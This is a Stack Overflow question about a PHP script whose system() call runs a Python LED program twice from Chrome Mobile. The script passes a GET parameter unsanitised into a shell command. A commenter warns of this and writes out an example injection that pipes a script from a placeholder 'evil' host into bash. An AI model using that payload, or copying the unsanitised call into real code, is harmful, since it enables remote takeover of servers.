1

I'm having a weird issue with a simple php script which execute a python program passing it one parameter. Here below is the script.php:

<?php
$t = $_GET['t'];
system("python /var/www/html/ledcontrol.py " . $t);
?> 

When loading this script from Chrome Mobile with t=5 (/file.php?t=5) the python program is always executed two times in a row: in the Apache access log I find two accesses with different IPs. Instead, if I set t to a different value, or use different browsers, the script runs perfectly. How can the value of t=5 affect the behavior of this simple script? How can I fix it?

Thank you very much!

Carmine77
  • 11
  • 2
  • Does https://stackoverflow.com/questions/4761913/server-socket-receives-2-http-requests-when-i-send-from-chrome-and-receives-one help? – Nico Haase Jul 04 '18 at 12:57
  • May be you have some addons in your chrome ? Its not a PHP problem but a client side. You can debug your chrome mobile on our phone from PC Chrome console. Try to look on client network activity in chrome when you requesting php script – Petya Jul 04 '18 at 13:27
  • 1
    Notice you are throwing a user defined value directly into a `system()` call unfiltered. An ill-intentioned user can easily take control of your server by sending requests such as `file.php?t=5 | wget -O - http://evil/script.sh | bash` You should validate all and any user input before using it. – Havenard Jul 05 '18 at 17:11

0 Answers0